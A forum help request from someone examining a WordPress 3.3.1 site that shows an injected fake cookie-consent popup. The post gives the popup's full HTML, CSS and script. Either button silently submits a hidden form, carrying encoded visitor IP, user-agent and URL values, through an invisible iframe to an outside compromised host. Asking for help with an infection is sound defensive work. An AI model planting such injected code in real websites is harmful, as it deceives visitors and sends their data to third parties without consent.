Cookie Warning Popup

Someone asked me to have a look at their website that runs WordPress 3.3.1 that constantly has a popup that comes up requesting the user to agree to cookies.

Then, no matter what option they select form is submitted to another site.

Here is the code from the site for the popup:

<style>
		.big-div {
		position:absolute;
		top:0px;
		left:0px;
		width:100%;
		height:100%;
		background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAYSURBVHjaYmRgYLjJgAaYGLAACgUBAgwAWBMA4/FPBRkAAAAASUVORK5CYII=);
		position:fixed;
		z-index:9999999999;
		}
		.cockie-div {
		margin: 100px auto;
		padding:20px;
		width:600px;
		background-color:#fff;
		text-align: justify;
		font-family: arial, sans-serif;
		font-size:15px;
		}
		.myButton {
		-moz-box-shadow:inset 0px 1px 0px 0px #9acc85;
		-webkit-box-shadow:inset 0px 1px 0px 0px #9acc85;
		box-shadow:inset 0px 1px 0px 0px #9acc85;
		background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #74ad5a), color-stop(1, #68a54b));
		background:-moz-linear-gradient(top, #74ad5a 5%, #68a54b 100%);
		background:-webkit-linear-gradient(top, #74ad5a 5%, #68a54b 100%);
		background:-o-linear-gradient(top, #74ad5a 5%, #68a54b 100%);
		background:-ms-linear-gradient(top, #74ad5a 5%, #68a54b 100%);
		background:linear-gradient(to bottom, #74ad5a 5%, #68a54b 100%);
		filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#74ad5a', endColorstr='#68a54b',GradientType=0);
		background-color:#74ad5a;
		border:1px solid #3b6e22;
		display:inline-block;
		cursor:pointer;
		color:#ffffff;
		font-family:arial;
		font-size:13px;
		font-weight:bold;
		padding:6px 12px;
		text-decoration:none;
		margin-left:20px;
		}
		.myButton:hover {
		background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #68a54b), color-stop(1, #74ad5a));
		background:-moz-linear-gradient(top, #68a54b 5%, #74ad5a 100%);
		background:-webkit-linear-gradient(top, #68a54b 5%, #74ad5a 100%);
		background:-o-linear-gradient(top, #68a54b 5%, #74ad5a 100%);
		background:-ms-linear-gradient(top, #68a54b 5%, #74ad5a 100%);
		background:linear-gradient(to bottom, #68a54b 5%, #74ad5a 100%);
		filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#68a54b', endColorstr='#74ad5a',GradientType=0);
		background-color:#68a54b;
		}
		.myButton:active {
		position:relative;
		top:1px;
		}
	</style>
	<script>
		function Go(){
		document.getElementById('div000').style.display = 'none';
		var x=document.getElementById('refoto');
		if (!x){
		var e = document.createElement('iframe');
		e.id = 'refoto';
		e.name = 'refoto';
		e.style.width = '5px';
		e.style.height = '5px';
		e.style.display = 'none';
		document.getElementsByTagName('body')[0].appendChild(e);
		document.getElementById('refoto_form').submit();
		}
		}
	</script>
	<form method=POST action="https://HACKED-SITE/e73e4e7d58a52987bbc7fba72f910891.php?q=a3cc1160e6476acfdf3054eaa1a9e0db" id="refoto_form">
    <input type="hidden" name="ip" value="6gy0EYFl32vwqT9OQZc=">
    <input type="hidden" name="ua" value="tlP7Vt89hmr0vjdAW8YqmDT/sGFiyxROsPBX45R6HhinEeZC+YGrgEA0mmA3NDIJUYzgWXCjQvX0Bz9J7EQJgwkNdqBPbg==">
    <input type="hidden" name="furl" value="s0j1T4l+yCCm9WFSQ4smmjD/pn12zh0Q+LNK74V1XU/kRehW94bw3g4=">
    </form>
	<div class='big-div' id='div000'>
		<div class='cockie-div'>
			In order for this site to work properly, and in order to evaluate and improve the site we need to store small files (called cookies) on your computer.<br><br>Over 90% of all websites do this, however, since the 25th of May 2011 we are required by regulations to obtain your consent first. What do you say?
			<p style="text-align:right;"><a onclick="Go();" href=#>I don't agree</a> <a href="#" class="myButton" onclick="Go();">That's fine</a></p>
		</div>
	</div>

This is immediately inserted after the body tag. Also, what I have noticed the form action constantly changes which makes it look “weird” to me.

I have tried to find the corresponding code, but I am unable to find anything relating to it.

Has anyone else come across this that can point me in the right direction?

Thanks